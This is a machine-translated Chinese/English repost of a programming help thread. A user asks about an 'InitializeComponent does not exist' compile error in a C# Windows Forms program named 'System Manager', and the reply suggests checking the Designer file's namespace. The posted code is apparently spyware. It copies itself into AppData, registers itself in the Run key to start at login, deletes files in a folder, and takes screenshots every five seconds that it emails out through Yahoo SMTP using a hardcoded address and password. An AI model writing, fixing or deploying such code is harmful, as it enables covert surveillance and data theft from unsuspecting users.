T创建系统管理器程序,但错误:他名称'initializecomponent'在当前上下文中不存在..请帮助我 [英] T create system manager program but error :he name 'initializecomponent' does not exist in the current context ..please help me

查看:115
本文介绍了T创建系统管理器程序,但错误:他名称'initializecomponent'在当前上下文中不存在..请帮助我的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述




using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Web;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
namespace System_Manager
{
    public partial class Form1 : Form
    {
        string destination, currentdir, imagesave, username;
        public Form1()
       {
            InitializeComponent();
        }
        void registerforstartup()
        {
            RegistryKey reg;
            reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            pathsetter();
            reg.SetValue("System Manager", destination);
        }
        void pathsetter()
        {
            username = Environment.UserName;
            currentdir = Environment.CurrentDirectory;
            destination = @"C:\Users\" + username + @"\AppData\Roaming\System Manager.exe";
            currentdir = currentdir + @"\System Manager.exe";
        }
        void copysoftware()
        {
            pathsetter();
            File.Copy(currentdir, destination);
        }
        void imagecapture(int j)
        {
            System.Threading.Thread.Sleep(5000);
            SendKeys.Send("{PRTSC}");
            Image img = Clipboard.GetImage();
            imagesave = "C:\\System\\img" + j + ".jpg";
            if (File.Exists(imagesave))
            {
                j++;
            }
            else
            {
                img.Save(imagesave);
            }
            MailMessage mail = new MailMessage("sendemail610@yahoo.com", "m.sarmad610@yahoo.com");
            SmtpClient client = new SmtpClient("smtp.mail.yahoo.com", 587);
            client.EnableSsl = true;
            client.UseDefaultCredentials = false;
            mail.Subject = "Abdullah";
            mail.Body = "Hello";
            mail.Attachments.Add(new Attachment(imagesave));
            client.Credentials = new System.Net.NetworkCredential("sendemail610@yahoo.com", "abdurrehman");
            client.Timeout = 1000000000;
            client.Send(mail);
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            int j = 0;
            /* string mainpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
             mainpath = Path.Combine(mainpath, @"\Roaming\System\");*/
            if (!Directory.Exists(@"C:/System/"))
            {
                Directory.CreateDirectory(@"C:/System/");
            }
            string[] filepath = Directory.GetFiles(@"C:/System/");
            foreach (string filepa in filepath)
            {
                File.Delete(filepa);
            }
            registerforstartup();
            if (!File.Exists(destination))
            {
                copysoftware();
            }
            while (j >= 0)
            {
                try
                {
                    imagecapture(j);
                    j++;
                }
                catch
                {
                }
            }
        }
    }
}





我的尝试:



c他名称'InitializeComponent'在当前上下文中不存在他名称'InitializeComponent'在当前上下文中不存在



What I have tried:

c he name 'InitializeComponent' does not exist in the current context he name 'InitializeComponent' does not exist in the current context

推荐答案

检查Form1。 Designer.cs文件并确保类和命名空间名称匹配:当您向项目添加新表单时,它由表单模板创建。
Check the Form1.Designer.cs file and make sure that the class and namespace names match: it's created by the Form template when you add a new Form to the project.


这篇关于T创建系统管理器程序,但错误:他名称'initializecomponent'在当前上下文中不存在..请帮助我的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆